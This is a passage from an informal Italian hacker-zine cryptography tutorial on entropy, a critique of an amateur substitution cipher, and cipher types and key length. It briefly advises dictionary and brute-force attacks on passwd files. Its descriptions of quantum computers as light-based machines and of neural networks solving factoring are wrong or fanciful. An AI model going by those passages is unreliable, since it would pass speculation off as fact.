chiave che abbassi l'entropia di un dato | | messaggio non è più facile che trovare la chiave con cui un messaggio è | | stato crittato in uno scenario cyphertext-only (il più rognoso). E | | questo è proprio ciò che un algoritmo NON DEVE PERMETTERE! Ciò significa | | | | che trovare una chiave del genere è un Problema Intrattabile. | | | | C'HO UN'IDEA!!! E se allora utilizzassimo per fare ciò un | | cifrario debole? | | | | La cosa potrebbe farsi, perchè lo sforzo per rompere l'algoritmo sarebbe | | | | minimo. | | | | sììììììì :D | | | | Peccato però che, abbiamo già detto, un algoritmo debole non crea quello | | | | "sbalzo" di entropia che servirebbe a noi per effettuare questa | | compressione, e perciò sarebbe del tutto inutile... | | | | ri-nooooo :( | | | | Mica è colpa mia se non studiate! >:) | | Comunque è sempre possibile usare un algoritmo semi-debole per ottenere | | un livello di compressione scarsino, ma anche per fare ciò serve una | | grossa potenza di calcolo per la compressione (per la decompressione è | | più facile, poichè conosciamo il metodo usato), e quindi non è | | conveniente. | | | | In definitiva: teoricamente è sempre possibile ottenere, tramite l'uso | | inverso degli algoritmi di crittografia simmetrica double-way, un | | livello di compressione inimmaginabile, ma ciò non è mai | | computazionalmente conveniente quindi tenetevi stretti il vostro | | Winzippo ;) | | | | | | [Analizzatore d'Entropia] | | E' un altro regalino per i lettori pazienti - che uscirà in appendice ;) | | | | Si tratta di un programmino in VB (coi sorgenti) che serve a calcolare | | mediante le formule sopra introdotte l'entropia e la ridondanza dei | | file. E' provvisto anche di un grafico (l'ho dovuto fare con le Line, | | sigh...) che mostra le frequenze relative dei caratteri ASCII che | | compaiono nel file. | | Utilizzandolo potrete verificare sperimentalmente le considerazioni | | fatte in questo capitolo: vedrete che i file crittati e compressi hanno | | un'entropia del 99,qualcosa% mentre CODiCE iNVERSO ha un'entropia | | (finora) del 60% circa - quindi è compattino in quanto a densità | | d'informazione, matematica docet eheheh ;) | | | | | | Finito anche questo capitolo. | | Non so se vi siete spallati a leggerlo, io spero di no perchè le cose | | che ci stanno scritte sono la BASE fondamentale su cui si basano tutti i | | crittosistemi. Senza sapere queste cose non potreste progettare mai un | | crittosistema valido, nè tantomeno potreste tentare con successo un | | ATTACCO contro. | | Vedremo in seguito infatti anche alcuni tipi di attacco, essenzialmente | | di tipo brute-force, che si basano appunto sulla Teoria | | dell'Informazione. Quando date in pasto un passwd file al John provate | | prima il vocabulary attack o il brute forcing puro e semplice? ;) Nel | | tentare di indovinare una password o - soprattutto - una passphrase, | | ricordatevi che per essere memorizzate più facilmente devono avere una | | "trama comprensibile" all'utente, devono cioè avere un certo livello di | | ridondanza. Il cervello umano infatti, per memorizzare un dato deve | | "comprimerlo" in modo che prenda poco posto (proprio come fa un | | computer), è logico quindi che dati ad alta entropia saranno più | | difficili da assimilare e quindi gli utenti svogliati (parecchi :P) | | tenderanno a scegliere chiavi, seppur lunghe, a bassa entropia. | | | | | | Eheheh, ma ora - per i più impazienti - iniziamo finalmente a vedere il | | funzionamento di questi benedetti algoritmi! | | | | | | | | | | +----------------------------------------------------------------------+ | | | CRITTOSISTEMI SIMMETRICI | | | | . . . . . . *--------------------------------------------------------+ | | |Capitolo 6 / a volte ritornano... | | +-----------* | | | | Eggià, alla fine ce l'ho fatta ad arrivare al punto che ci interessa ;) | | Abbiamo già parlato dei crittosistemi simmetrici: sono quelli che usano | | una sola chiave per crittare e decrittare. | | | | E a proposito di ciò mi viene in mente che vorrei fare alcune | | precisazioni su un articolo che trattava di crittografia apparso sul | | numero 4 di OQ. | | | | Innanzitutto sia ben chiaro che è lungi da me il voler "screditare" in | | qualsiasi modo l'autore, non vorrei sembrasse che cerco di | | "monopolizzare" l'argomento, oltretutto è una cosa che mi scoccia | | moltissimo. Il fatto è che alcune affermazioni fatte in quell'articolo | | andrebbero, vi accorgerete, in NETTO contrasto con quanto qui scritto e | | ciò potrebbe causare nel lettore una notevole confusione. Per evitare | | ciò, il mio sarà solo un "errata corrige" soggettivo, nel senso che, | | come sempre, io affermo ciò che ritengo vero (come tutti, credo), ma ciò | | non esclude che anch'io potrei dire grosse kazzate, d'altronde, | | ricorderete, io sono uno senza certezze... | | | | Ma non commettiamo l'errore di sentirci troppo sicuri. Ciò che farò ora | | si riallaccierà a quanto dicevo nel capitolo 1 a proposito degli | | algoritmi fatti in casa. Ovvero: non sono assolutamente da condannare, | | anzi... Ma da qui a diffonderli pubblicamente come "sicuri" ce ne passa! | | | | Io non farò altro che mettermi nei panni di un crittanalista che cerchi | | di forzare il cifrario, sporco lavoro se vogliamo, ma qualcuno dovrà pur | | farlo... In ogni caso è una cosa che VA FATTA. Perchè è dovere di | | ciascuno di noi avvertire il prossimo se sta per commettere un passo | | falso, soprattutto nella comunità crittoanarchica. Io uso sempre l'RSA | | col PGP, e non sarei contento se riuscissero a romperlo, ma se per caso | | trovassi il sistema io di farlo non esiterei un istante ad annunciarlo | | al mondo intero. Primo, perchè sarebbe come scoprire una cura a una | | malattia incurabile e tenerla segreta per sè (perchè se tutti cominciano | | a curarsi con essa, i virus si evolvono e la cura non è più buona) - o | | ,peggio ancora, venderla a caro prezzo. Secondo, perchè non | | dimentichiamoci che QUALCUNO potrebbe aver già fatto la scoperta prima | | di noi. L'NSA ci sguazza con queste cose. | | | | D'altronde, si sa, quello cypherpunk è un mondo, giustamente, | | paranoico... | | | | Dunque, procediamo. | | | | <.> Questo algoritmo purtroppo è double-way, cioè | | richiede una sola chiave per essere decriptato | | | | Un algoritmo di crittografia può essere one-way o double-way. | | Double-way significa che una volta ottenuto il messaggio crittato è | | possibile, conoscendo una chiave appropriata, risalire al messaggio | | originario. Ciò non accade negli algoritmi one-way, nei quali una volta | | ottenuto il cyphertext, per riottenere il testo in chiaro serve Dio | | poichè non sono invertibili. | | Ma a loro volta, gli algoritmi double-way si dividono in SIMMETRICI e | | ASIMMETRICI. Simmetrici significa che la chiave usata per decrittare è | | la stessa usata per crittare, mentre asimmetrici significa che le chiavi | | sono diverse: una SOLO per crittare e l'altra SOLO per decrittare. | | | | Tutti gli algoritmi sono poi classificati a seconda della loro | | sicurezza. Si va dalla classe per sicurezza "domestica" alla portata di | | tutti, a quelli cosiddetti "commerciali", destinati cioè alle grosse | | aziende ma potenzialmente decifrabili da organizzazioni internazionali e | | governative, fino al famigerato "military grade". Quest'ultimo tipo di | | algoritmi sono anche definiti "di crittografia forte", sono utilizzati | | per proteggere le cosiddette "informazioni classificate", cioè top | | secret, e sono praticamente inattaccabili, tanto che in molti paesi | | vengono giuridicamente classificati "arma da guerra" e sottoposti a | | pesanti limitazioni. | | | | Per finire, il fatto che un algoritmo sia simmetrico non rappresenta un | | "purtroppo", primo perchè gli utilizzi sono diversi, secondo perchè | | anche inventare un algoritmo simmetrico sicuro non è cosa da poco, | | infatti l'algoritmo presentato nell'articolo NON E' AFFATTO SICURO! | | E dopo ve lo dimostrerò... | | | | <.> (non come l'md5, il sistema di chiavi | | inventato dalla rsa, il cast o simili) | | | | Dunque, qui c'è un po' di confusione. | | A quanto ne so io, l'MD5 non è un "sistema di chiavi", bensì un | | algoritmo di hashing one-way (quelli a cui si accennava prima) usato per | | generare ID digitali, fingerprint delle chiavi e valori hash dei | | messaggi, quindi non è un algoritmo di crittografia vero e proprio. | | Inoltre l'RSA è, dovreste averlo ormai capito, un algoritmo asimmetrico. | | L'rsa a cui si accenna nell'articolo è in realtà l'RSA Data Security | | Inc, cioè la società di software detentrice del brevetto dell'RSA e | | delle patenti legali di molti altri algoritmi nonchè del ruolo di | | colosso mondiale della sicurezza informatica, ma è bene fare distinzione | | | | tra le due cose. Infine, il CAST non è asimmetrico bensì simmetrico, | | proprio come il DES o l'IDEA. | | | | <.> tuttavia è mooolto affidabile. | | | | Non è vero e ora vi mostro perchè. | | Innanzitutto faccio un rapido riassunto del funzionamento dell'algoritmo | | per chi non avesse letto l'articolo - almeno come l'ho capito io. | | La forma base di questo algoritmo l'abbiamo già vista tra gli esempi di | | algoritmi elementari: si tratta di un cifrario di sostituzione, dove a | | ogni valore ASCII del plaintext viene fatto corrispondere in maniera | | univoca un altro valore ASCII. La chiave è rappresentata da un piccolo | | file nel quale sono riportati i caratteri ASCII da abbinare, in ordine, | | ai caratteri ASCII originali da 0 a 255. Le chiavi possibili sono | | un'enormità: 256! (256 fattoriale, non provate nemmeno a farlo con la | | calcolatrice) cioè tutti i possibili anagrammi del set ASCII, e da | | questo punto di vista l'algoritmo risulta pressochè inattaccabile da un | | brute forcing puro e semplice. | | | | <.> Tuttavia l'algoritmo avevo detto che era random o sbaglio? | | | | A chiave random significa semplicemente che la chiave può essere scelta | | arbitrariamente, al contrario di quasi tutti gli algoritmi asimmetrici | | dove la chiave deve essere o un numero primo, o un esponente di una | | funzione modulare etc... comunque non assume un valore del tutto | | casuale. | | | | La seconda fase di crittazione dell'algoritmo proposto consiste, sul | | cyphertext ottenuto, nel prendere il valore ASCII del primo carattere e | | sottrarlo a quello del secondo carattere, il nuovo valore ottenuto sarà | | l'ASCII del NUOVO secondo carattere, nonchè il valore da sottrarre al | | terzo carattere per ottenere sia il NUOVO terzo carattere che il valore | | da sottrarre al quarto e così via. L'intero procedimento è invertibile | | (anche troppo...), quindi l'algoritmo è effettivamente double-way. | | | | Ma ha più buchi di uno scolapasta. | | | | Dunque, innanzitutto troviamo subito un problema nel secondo round: e | | se, mettiamo, il secondo carattere avesse un valore ASCII più piccolo | | del primo? Verrebbe fuori un valore negativo! Io credo che l'autore | | intendesse effettuare una SOTTRAZIONE MODULARE in modulo 256, cioè: se | | viene negativo aggiungi 256 tante volte finchè non viene positivo. In | | fase di decodifica poi otterrai sicuramente qualcosa MAGGIORE di 256, | | quindi farai un bel (Mod 256). Ma anche se la mia interpretazione fosse | | errata i problemi sono ben altri. | | Osserviamo subito che la "seconda passata" è DEL TUTTO INUTILE, poichè | | non utilizza nessunissimo parametro segreto, bensì un valore iniziale | | rappresentato dal primo carattere della "prima passata", il quale resta | | però "scoperto". Quindi un qualsiasi pirla a conoscenza dell'algoritmo | | potrebbe tranquillamente effettuare (senza nemmeno tentare di indovinare | | la chiave) il procedimento in verso opposto. L'algoritmo cioè non si | | attiene al Principio di Kerchoff. | | A questo punto abbiamo di fronte il cyphertext del primo round, che | | deriva semplicemente da un processo di sostituzione, motivo per cui | | possiamo tranquillamente crackarlo utilizzando le tabelle di frequenza | | statistica del linguaggio (l'algoritmo è, parole dell'autore, progettato | | | | per i messaggi di testo). E se il file codificato non fosse di testo? | | | | <.> Per quanto riguarda i metodi di attacco a ciò | | che è criptato...beh, l'unico problema sono gli | | eseguibili: cominciano tutti allo stesso modo | | | | Non solo, ma tutti i tipi di file che hanno degli headers. E se il file | | fosse del tutto random e non avesse degli headers? Beh, questo è l'UNICO | | caso in cui l'algoritmo sarebbe efficace (ci mancherebbe...), ma solo in | | uno scenario cyphertext-only. In qualsiasi altro caso non ci sarebbe | | nessunissima combinazione chiave-messaggio sicura. | | | | <.> Quello che potrebbe essere più fruttuoso come | | attacco dovrebbe essere il dictionary attack | | | | Assolutamente no! Il dictionary attack prova password comuni tipo | | "secret", "sex", "god", "love" (dove le ho sentite queste? =) etc. Per | | definizione un algoritmo a chiave veramente random non è minimamente | | suscettibile al dictionary attack. Anche perchè il file chiave | | utilizzato da questo algoritmo è sempre di 256 bytes TUTTI DIVERSI, | | quindi avrà un'entropia del 100%, cosa che abbiamo detto essere | | inconsueta nelle password comuni. | | | | Bene, la predicozza è finita :) | | Vorrei ricordare ancora una volta che ho tenuto a fare queste | | precisazioni soltanto per evitare un sacco di confusione e falsi sensi | | di sicurezza. Inoltre è meglio sforzarzi a inventare algoritmi insicuri | | che non inventarne affatto, l'impegno dell'autore è comunque da lodare. | | La comunità cypherpunk è alla continua ricerca di menti che aiutino a | | proteggere la privacy. | | | | | | | | ====================================================== | | *** CRITTOSISTEMI SIMMETRICI: ISTRUZIONI PER L'USO *** | | ====================================================== | | | | Anche se progettare un algoritmo simmetrico potrebbe a prima vista | | sembrare un lavoro facile, abbiamo già visto che non è così: per | | realizzare i crittosistemi oggi comunemente usati e considerati sicuri | | ci sono voluti anni e anni di ricerca. Ecco cosa fa normalmente chi | | tenta da zero di realizzare un codice cifrato partendo con nessuna | | esperienza di crittologia: | | | | 1 - ci si crea un algoritmo home-made e siamo soddisfatti. Poi ci | | accorgiamo che non è del tutto sicuro e ci inkazziamo, documentandoci... | | | | 2 - una volta documentati sui vari sistemi abbiamo conoscenze di alcune | | operazioni comunemente usate nel procedimento di encrypt-decrypt di cui | | non avevamo mai sentito parlare prima. Allora si pensa che il problema | | stia nel fatto che i nostri tentativi precedenti erano troppo semplici, | | quindi decidiamo di confondere il crittanalista realizzando algoritmi | | complicatissimi ed ingarbugliati, spesso facendo un "collage" di altri | | algoritmi. Ora ci si sente invincibili... | | | | 3 - ci si accorge di due cose: A) l'algoritmo è lentissimo. B) la | | crittanali riesce lo stesso a romperlo. Allora capiamo una cosa | | fondamentale: | | | | NON E' LA COMPLESSITA' CHE RENDE L'ALGORITMO SICURO, MA L'ATTENZIONE COL | | QUALE VIENE PROGETTATO. | | | | Poichè più aumenta la complessità e più c'è il rischio che bugs | | indesiderati ci finiscano in mezzo per la nostra disattenzione. Come in | | tutte le cose, quelle più semplici (se fatte per bene) sono sempre le | | migliori. | | | | | | [ONE-TIME-PAD] | | Lo One-Time-Pad (OTP, grezzamente e vergognosamente tradotto "chiave di | | una volta") è il metodo più semplice di crittografia digitale. In | | pratica se io ho un messaggio e una chiave entrambi di N bit, il | | processo di crittazione consiste nell'effettuare un semplice Xor tra le | | due stringhe. Questo metodo è sicuro al 100% in uno scenario | | cyphertext-only ma ovviamente inutile in tutti gli altri. Inoltre | | presenta chiavi deboli (la stringa NULL, cioè composta da tutti zeri, e | | la stringa composta da tutti 1, che per lo Xor è equivalente ad un Not) | | e semideboli (sequenze di 0 molto lunghe all'interno della stringa | | lasciano scoperte grosse parti di testo, discorso analogo per sequenze | | molto lunghe di 1, che invertono). Ma lo svantaggio più evidente è | | costituito dal fatto che la chiave e il messaggio devono essere di | | lunghezza uguale, rendendo così impraticabile la crittazione di grosse | | moli di dati. Se infatti provassimo ad aggirare questo problema | | utilizzando più volte la stessa chiave sullo stesso testo la sicurezza | | verrebbe meno, poichè blocchi uguali sarebbero crittati in maniera | | identica, agevolando così il lavoro del crittanalista. | | Questo problema, cioè fare in modo che blocchi uguali siano crittati in | | maniera diversa, è il principale scoglio da superare nei cifrari a | | blocchi, ma come vedremo sono stati trovati metodi semplici ed efficaci | | per riuscirvi (tali metodi però non sono applicabili nell'OTP, per | | motivi che poi capirete). | | | | | | | | ================================================================ | | *** CLASSIFICAZIONE DEGLI ALGORITMI SECONDO IL FUNZIONAMENTO *** | | ================================================================ | | | | Anche se l'utenza comune li utilizza soprattutto via software, alcuni | | algoritmi di crittografia sono stati pensati in origine per | | implementazioni hardware, cioè su circuito integrato. E' come se per | | crittare qualcosa col vostro PC foste costretti a comprare una "Scheda | | di Accelerazione Crittografica" in maniera analoga alle schede audio e | | video; ciò per l'utente normale non è conveniente e rispecchia bene il | | fatto che le agenzie governative hanno sempre cercato di limitare la | | diffusione della crittografia. Con la potenza dei nostri giorni | | comunque, anche a livello domestico, è diventato possibile e | | frequentissimo emulare via software questo tipo di algoritmi. Ciò non | | toglie cmq che ci siano anche cifrari progettati per il software. | | Gli algoritmi di crittografia simmetrica double-way possono distinguersi | | a seconda del funzionamento in vari tipi: CIFRARI A FLUSSO, DI | | SOSTITUZIONE, DI PERMUTAZIONE e A BLOCCHI. | | | | | | [ Cifrari a flusso ] | | | | Un cifrario a flusso (stream cypher) non è altro che una macchina di | | stato, cha ad ogni cambiamento di stato produce un bit in output. Il | | flusso di bit in output è comunemente chiamato "RUNNING KEY". La | | crittazione si ottiene tipicamente XORando la running key col plaintext. | | In pratica il cifrario non è altro che un generatore di bit | | pseudocasuali, ad esempio si può usare un altro cifrario dandogli | | ripetutamente come input il suo stesso output, anche se normalmente si | | realizzano costruzioni più elaborate per ottenere maggior velocità. | | Alcuni dei cifrari a flusso più famosi sono il SEAL e l'RC4. Alcuni | | usano registri di shift a feedback lineare (LFSR, Linear Feed-back Shift | | Register), tra questi l'A5/1, usato nel sistema GSM. Questi cifrari, pur | | essendo molto poco sicuri, hanno il vantaggio di essere assurdamente | | veloci. Esiste anche una particolare classe di cifrari a flusso, | | denominati "Cifrari a Flusso Auto-Sincronizzanti" (SSSC: | | Self-Sinchronizing Stream Cyphers). Questa classe di cifrari ha la | | conveniente proprietà di "autocorreggere" dopo tot bit il cyphertext se | | si sballa un bit in input, o perfino se il bit viene saltato. Non hanno | | applicazioni quindi nella crittografia vera e propria, ma si impiegano | | per altri scopi. | | | | | | [ Cifrari di sostituzione ] | | | | Neanche questi funzionano bene. L'idea base di un cifrario di | | sostituzione è una funzione invertibile che ad ogni elemento del | | messaggio ne associa un altro in maniera univoca (come l'algoritmo a | | chiave random crittanalizzato prima). La Teoria dell'Informazione e | | tutto lo studio che c'è dietro hanno reso da tempo questo tipo di | | algoritmi in assoluto i più facili da crackare. | | | | | | [ Cifrari di permutazione ] | | | | Questa parte è un po' + interessante... | | Un cifrario di permutazione in pratica non fa altro che ANAGRAMMARE un | | messaggio, cioè: i simboli (bit nel nostro caso) di cui il messaggio è | | composto restano gli stessi, ma le loro posizioni vengono scambiate in | | maniera casuale. Tutti noi sappiamo che la difficoltà nel risolvere un | | anagramma aumenta in maniera iper-esponenziale con l'aumentare della sua | | unghezza, un messaggio anche di qualche centinaio di bytes anagrammato | | come si deve risulterebbe inattaccabile anche dall'NSA! Inoltre un | | procedimento di permutazione potrebbe essere usato "in aiuto" ad un | | altro cifrario, combinando le due difficoltà. | | In realtà basta fare un piccolo studio probabilistico del problema e la | | Teoria della Complessità ci dirà che i cifrari di permutazione non sono | | del tutto affidabili, ecco perchè: | | | | Se io ho una chiave di bit, i possibili valori assunti da questa | | chiave sono 2^n. Ogni valore mi trasforma il messaggio in un cyphertext | | diverso; in realtà è anche possibile che due chiavi uguali diano lo | | stesso crittogramma, ma ciò non deve avvenire se l'algoritmo è sicuro | | (questo in gergo si chiama "COLLISIONE", ma ne parleremo + avanti), io | | sto parlando nella migliore delle ipotesi. Quindi, dato un certo | | plaintext, posso ottenere 2^n diversi cyphertext. Il problema quindi | | cresce in maniera ESPONENZIALE, e precisamente in base 2. | | Ma se io ho un messaggio di bit, i suoi possibili anagrammi sono ben | | l!, quindi il problema dell'anagramma cresce in maniera FATTORIALE, e il | | fattoriale tende a infinito sempre in maniera più rapida | | dell'esponenziale (iper-esponenziale)! Si ha quel tipo di andamento che | | in AI viene definito "esplosione combinatoria". Questo significa che se | | il messaggio è più lungo di 3 bit (eccheccazzo, ci mancherebbe altro...) | | si verifica una cosa alquanto brutta: | | | | - con l = 3 bit il messaggio avrà 3!, cioè 6 possibili anagrammi, ciò | | significa che una chiave di 3 bit (2^3 = 8) è sufficiente a coprirli | | tutti. | | | | - con l = 4 bit il messaggio avrà 4!, cioè 24 possibili anagrammi, ciò | | significa che una chiave di 4 bit (2^4 = 16) NON E' PIU' SUFFICIENTE a | | | | coprirli tutti, servirà almeno di 5 bit (2^5 = 32). | | | | - con l = 5 bit il messaggio avrà 5!, cioè 120 possibili anagrammi, ciò | | significa che una chiave di 5 bit (32 valori) NON E' PIU' NEANCHE | | LONTANAMENTE SUFFICIENTE a coprirli tutti, servirà almeno di 7 bit | | (2^7 = 128). | | | | - con l = 6 bit (6! = 720) la chiave dovrà essere almeno di 10 bit | | (2^10 = 1024) | | | | ... | | | | - un messaggio lungo 800 bit (sono soltanto 100 caratteri ASCII!) avrà | | 800! anagrammi, dell'ordine di grandezza di 10^1976, una chiave adatta | | dovrebbe essere di circa 6568 bit (+ di 8 volte il messaggio!). | | | | ... | | | | - una normale e-mail delle dimensioni di, non so, 4 KB avrà 32768! | | anagrammi, una chiave adatta dovrebbe essere di + di 54 KB. | | | | e così via... | | In pratica, più il messaggio è lungo e più un'ipotetica chiave in grado | | di anagrammarlo in maniera del tutto casuale dovrà essere di dimensioni | | mostruosamente più grandi del messaggio stesso! Il rapporto dimensione | | chiave/dimensione messaggio è espresso dalla relazione: | | | | r = (n!) / (2^n) | | | | che per n > 3 è sempre maggiore di 1. | | Se la chiave è più piccola, anche se l'algoritmo di permutazione è | | mostruosamente efficacie ci saranno sempre degli anagrammi che non | | saranno MAI producibili. Studiando questi "buchi" nel set dei possibili | | anagrammi, per un crittanalista risulta più facile trovare la chiave | | usata. | | In definitiva: neanche i cifrari di permutazione sono del tutto | | efficaci. | | | | | | | | [ Cifrari a blocchi ] | | | | I moderni algoritmi a chiave simmetrica lavorano a blocchi, cioè prima | | di crittare segmentano il messaggio in "pezzi" da bit. Se la | | lunghezza del messaggio è e non è divisibile perfettamente per n | | (cioè: L Mod n <> 0), ogni algoritmo può adottare una strategia diversa | | per lavorare correttamente anche sull'ultimo blocco (che è quello che | | risulterà "sballato"), ma normalmente si procede appendendo in testa al | | messaggio un header di lunghezza fissa che contiene la lunghezza del | | testo originario (cioè L). La lunghezza totale del messaggio ottenuto | | finora sarà : | | | | & "Questa stringa è di 40 caratteri (bytes)" | | | | | | header di messaggio da crittare | | lunghezza fissa | | (32 bit in questo caso) | | | | Infatti h28 = 40 in esadecimale. A questo punto, se il messaggio è di 40 | | bytes: | | | | L = 40 * 8 = 320 bit | | L2 = L + 32(header) = 352 bit | | | | Ora, se L2 Mod n è ancora diverso da 0, si aggiungono in coda tanti bit | | (0 o 1, è indifferente) quanti ne servono per ottenere un messaggio di | | lunghezza L3 esattamente multipla di n: | | | | & <00011101100101011010010011010101> | | | | Questi bit extra sono chiamati PADDING BIT (cioè "di imbottitura"); in | | questo caso è bastato aggiungere 32 bit di padding per ottenere: | | | | L3 = L2 + 32 = 384 bit | | | | Se il nostro algoritmo lavora ad esempio su blocchi di 128 bit avremo: | | | | L3 Mod n = 384 Mod 128 = 0 | | L3 / n = 384 / 128 = 3.00 | | | | Quindi potremo dividere il testo in 3 blocchi da 128 bit ed effettuare | | tre cicli di crittazione per ottenere il crittogramma, in fase di | | decrittazione poi sarà sufficiente decrittare il tutto, leggere l'header | | (e toglierlo), e togliere tutti i bit che si trovano dopo la posizione | | indicataci dall'header per riottenere il nostro messaggio. Questo ha | | anche la funzione di aumentare intrinsecamente la sicurezza del | | procedimento, poichè una chiave sbagliata decritterebbe in maniera | | errata anche l'header - e quindi la lunghezza del messaggio risulterà | | sballata. | | Ma ciò significa anche che il cifrario deve essere assolutamente | | inattaccabile ad uno scenario known-plaintext, ovvero: dato un blocco di | | messaggio crittato ed il suo corrispondente in chiaro, deve essere arduo | | rovare una chiave tale che coincida con quella effettivamente usata per | | la crittazione. Il motivo è semplice: conoscendo la lunghezza del | | cyphertext il crittanalista saprà che le dimensioni del messaggio in | | chiaro, header incluso, si discostano al massimo di (n-1) bit da quello | | del cyphertext (a causa del padding). Togliendo da questa lunghezza | | anche la lunghezza dell'header, il crittanalista avrà una buona stima | | approssimata della lunghezza effettiva del messaggio e quindi del valore | | contenuto nell'header, cioè avrà in pratica l'header in chiaro o quasi. | | Nel caso di prima ad esempio il crittanalista ha un cyphertext di | | lunghezza L3 = 384 bit. Esso sa che l'header è di 32 bit indichiamo con | | H) e che i blocchi sono di 128 (n), di conseguenza il valore dell'header | | (e quindi la lunghezza del messaggio in chiaro) dovrà per forza | | oscillare tra (L3 - H) e | | | | (L3 - H - (n - 1)) = (L3 - H - n + 1) | | | | bit, cioè tra 352 e 225 bit. In questo caso l'oscillazione è ampia | | perchè il messaggio è molto breve, ma più lungo è il messaggio e più | | questa incertezza tende ad essere trascurabile. | | | | In ogni ciclo di crittazione l'algoritmo accetta in entrata una chiave | | di lunghezza e un blocco di plaintext di lunghezza

, e darà in | | uscita un blocco di cyphertext di lunghezza . La particolarità di | | quasi tutti gli algoritmi simmetrici double-way è che, mentre ed

| | sono in genere diversi tra loro,

e sono ugali. Questo significa | | che, come abbiamo già ripetuto, plaintext e cyphertext avranno la stessa | | lunghezza. | | | | In ogni ciclo, l'algoritmo prende il blocco, prende la chiave ed | | effettua tra questi varie "passate" di crittazione, dette in gergo | | ROUND. In ogni round l'algoritmo effettua una serie di operazioni che | | possono cambiare da round a round, MA TUTTE DEVONO ESSERE PER FORZA | | INVERTIBILI (quindi niente And, Or, etc...) la cui natura varia a | | seconda dell'algoritmo. | | | | | | | | =================================================== | | *** CONSIDERAZIONI SULLA LUNGHEZZA DELLA CHIAVE *** | | =================================================== | | | | E' naturalmente scontato che più una chiave è lunga e più è alta la | | sicurezza offerta. | | E' inoltre scontato che quando si parla di dimensione in bit per chiavi | | di algoritmi simmetrici double-way (normalmente a chiave random), la | | sicurezza offerta aumenta in maniera ESPONENZIALE (in base 2) rispetto | | alla dimensione della chiave: una chiave lunga 128 bit non è "il doppio" | | più sicura rispetto ad una a 64 bit, bensì è più sicura "AL QUADRATO"! | | Ma scegliere la lunghezza della chiave è la parte più delicata nel | | progettare un crittosistema, per un sacco di ragioni. | | | | Innanzitutto sfatiamo subito la credenza che più è lunga la chiave e più | | è sicuro l'algoritmo (non a caso prima ho detto "più è alta la sicurezza | | offerta"). Sono due cose diverse e complementari: è del tutto inutile | | scegliere una chiave di grosse dimensioni se poi l'algoritmo risulta | | attaccabile crittanaliticamente. Ma contemporaneamente non è il caso di | | realizzare l'algoritmo senza tenerne conto, lasciando per ultima la | | scelta della dimensione della chiave, questo perchè tale parametro | | influenza profondamente tutto il procedimento. In altre parole non sarà | | possibile, un giorno che una chiave da 128 bit si rivelerà insicura, | | continuare ad usare i soliti algoritmi aumentando semplicemente le | | dimensioni della chiave (a meno che non si voglia ottenere un | | procedimento lentissimo come quello del TDES), ma bisognerà ideare | | interi nuovi algoritmi. | | In particolare, è utile sapere che un algoritmo che accetti in entrata | | una chiave di dimensione variabile sarebbe estremamente comodo, motivo | | per cui il fatto che le ricerche si indirizzino raramente in questo | | senso (di algoritmi così ce ne sono veramente pochi) lascia presupporre | | che un simile comportamento vada spesso a scapito della sicurezza. | | | | Detto ciò premettiamo subito che una chiave da 128 bit rappresenta al | | giorno d'oggi molto più che una sicurezza, tanto che la maggior parte | | dei crittosistemi forti in circolazione usano questa dimensione per le | | chiavi. Non vi farò la classica tabellina "dimensione chiave-tempo | | necessario a provare tutte le combinazioni" (che tralaltro potete | | trovare in giro facilmente) per due motivi. | | Il primo è che è perfettamente inutile passare, ad esempio, da 128 a 256 | | bit per i propri algoritmi se non si sviluppa contemporaneamente la | | sicurezza di sistemi complementari come i protocolli asimmetrici per lo | | scambio di chiavi: basti pensare che, usando l'algoritmo di | | fattorizzazione Number Field Sieve e una potenza di calcolo | | presumibilmente alla portata di qualche potente organizzazione, si è | | stimato che per eguagliare con l'RSA la sicurezza di una chiave random | | da 128 bit bisognerebbe usare moduli RSA di 3100 bit (al momento si | | usano al massimo a 2048). | | Il secondo motivo è che tali tabelle lasciano il tempo che trovano... La | | stima del tempo impiegato statisticamente (e già questo | | "statisticamente" non dà poi tanta sicurezza...) per trovare la chiave | | giusta tramite brute-forcing è profondamente influenzato dall'aumento | | della potenza di calcolo degli elaboratori. Tale potenza aumenta secondo | | un andamento non lineare e imprevedibile, tra una settimana quelle | | tabelle potrebbero essere da buttare! In particolare, secondo molti | | siamo ad un passo dall'avvento della Nuova Era Informatica. Sapete cosa | | sono la Quantum Computing, le Memorie Molecolari e i Circuiti Neurali? | | Beh, neanch'io... :P | | Scherzi a parte ne so ben poco, ma da quel poco che so io la moderna | | Computer Science si muove oggi verso queste direzioni: | | | | - Quantum Computer: sono macchine che non lavorano con impulsi | | elettrici, bensì con la luce. Per quanto riguarda i circuiti | | tradizionali in semiconduttore si sta ormai raggiungendo un limite | | fisico rappresentato dalla miniaturizzazione estrema e dall'elevato | | surriscaldamento prodotto per effetto Joule. Nei quantum computer, | | fasci di luce laser si propagano attraverso fibre ottiche, vengono | | commutati da fotoaccoppiatori optoelettronici o vengono "imprigionati" | | in celle contenenti gas di Rubidio rarefatto vicino allo Zero Assoluto | | che si comportano come circuiti multistabili. Si prospettano | | possibilità di lavorare in analogico all'interno dei circuiti stessi, | | ampliamento del bus su un'infinità di frequenze diverse e velocità di | | trasmissione inimmaginabili, nuova generazione di ALU. | | | | - Memorie Molecolari: immagazzinano informazioni mediante la | | disposizione nello spazio di molecole "intelligenti". Capacità di | | memorizzazione assurda e accesso rapido ai dati. | | | | - Circuiti Neurali: processori basati su colture di cellule nervose | | derivate dall'ingegneria genetica perfettamente integrate con le altre | | parti dell'elaboratore. "Cervelli elettronici" nel vero senso della | | parola, possibilità di realizzare Reti Neurali in grado di | | implementare efficaciemente e flessibilmente Logica Sfumata e | | Algoritmi Genetici. Eventuale estensione del "Campo di Caos" alla | | macchina, capacità di apprendimento, autoorganizzazione ed evoluzione. | | Intelligenza Artificiale con poteri decisionali autonomi e capacità di | | ricerca. | | | | Beh, naturalmente ho lavorato un po' di fantasia e usato parole che non | | so neanche che significano :))) | | Ma non è fantascienza, queste cose sono davvero in studio da tempo e | | alcune già realizzate. Anche se potrà sembrare che finiamo su un campo | | che esula di parecchio dalla crittologia (perchè, finora che abbiamo | | fatto? :P ), ormai non si può più fare a meno di tenere conto di questi | | fattori, tanto che considerazioni di questo genere appaiono ormai | | praticamente su tutti i trattati di computer science dedicati alla | | crittografia e crittanalisi. Si vocifera addirittura che con l'avvento | | dei quantum computer il tempo di elaborazione in brute-forcing di una | | chiave random a 128 bit passerebbe da svariati miliardi di anni a | | qualche giorno! Per quanto riguarda poi i problemi intrattabili legati a | | fattorizzazione e logaritmi discreti, le reti neurali multistrato di | | nuova generazione potrebbero "saltare" del tutto il lavoro di calcolo e | | risolvere semplicemente il problema "per intuito", un po' come quando | | noi per fare 10*10 non ci mettiamo certo a contare dieci 